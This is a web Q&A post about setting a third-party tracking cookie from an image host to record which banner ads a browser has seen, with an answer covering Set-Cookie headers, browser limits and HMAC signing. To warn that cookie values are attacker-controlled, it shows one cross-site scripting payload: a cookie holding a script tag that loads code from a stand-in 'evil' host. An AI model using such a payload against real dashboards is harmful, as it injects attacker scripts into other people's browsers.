Cheng Cheng - 3 months ago 18
HTTP Question

Can I set a cookie in this situation?

I want to post a banner ad on a.com, for this to happen, a.com has to query b.com for the banner url via jsonp. When requested, b.com returns something like this:

{
img_url: www.c.com/banner.jpg
}


My question is: is it possible for c.com to set a cookie on the client browser so that it knows if the client has seen this banner image already?

To clarify:


  1. c.com isn't trying to track any information on a.com. It just wants to set a third-party cookie on the client browser for tracking purpose.

  2. I have no control of a.com, so I cannot write any client side JS or ask them to include any external js files. I can only expose a query url on b.com for a.com's programmer to query

  3. I have total control of b.com and c.com

  4. When a.com receives the banner url via JSONP, it will insert the banner dynamically into its DOM for displaying purpose



A small follow up question:

Since I don't know how a.com's programmer will insert the banner into the DOM, is it possible for them to request the image from c.com but still prevents c.com to set any third-party cookies?

Answer

Simple Version

In the HTTP response from c.com, you can send a Set-Cookie header. If the browser does end up loading www.c.com/banner1234.jpg and later www.c.com/banner7975.jpg, you can send e.g. Set-Cookie: seen_banners=1234,7975 to keep track of which banners have been seen.

When the HTTP request arrives at www.c.com, it will contain a header like Cookie: seen_banners=1234,7975 and you can parse out which banners have been seen.

If you use separate cookies like this:

Set-Cookie: seen_1234=true
Set-Cookie: seen_7975=true

Then you'll get back request headers like:

Cookie: seen_1234=true; seen_7975=true

The choice is up to you in terms of how much parsing you want to do of the values. Also note that there are many cookie attributes you may consider setting.

Caveats

  • Some modern browsers and ad-blocking extensions will block these cookies as an anti-tracking measure. They can't know your intentions.
  • These cookies will be visible to www.c.com only.
  • Cookies have size restrictions imposed by browsers and even some firewalls. These can be restrictions in per-cookie length, length of sum of cookies per domain, or just number of cookies. I've encountered a firewall that allowed a certain number of bytes in Cookie: request headers and dropped all Cookie: headers beyond that size. Some older mobile devices have very small limits on cookie size.
  • Cookies are editable by the user and can be tampered with by men-in-the-middle. Consider adding an authenticator over your cookie value such as an HMAC, so that you can be sure the values you read are values you wrote. This won't defend against replay attacks unless you include a replay defense such as a timestamp before signing the cookie.

This is really important: Cookies you receive at your server in HTTP requests must be considered adversary-controlled data. Unless you've put in protections like that HMAC (and you keep your HMAC secret really secret!) don't put those values in trusted storage without labeling them tainted. If you make a dashboard for tracking banner impressions and you take the text of the cookie values from requests and display them in a browser, you might be in trouble if someone sends:

Cookie: seen_banners=<script src="http://evil.domain.com/attack_banner_author.js"></script>

Aside: I've answered your question, but I feel obligated to warn you that jsonp is really, really dangerous to the users of site www.a.com. Please consider alternatives, such as just serving back HTML with an img tag.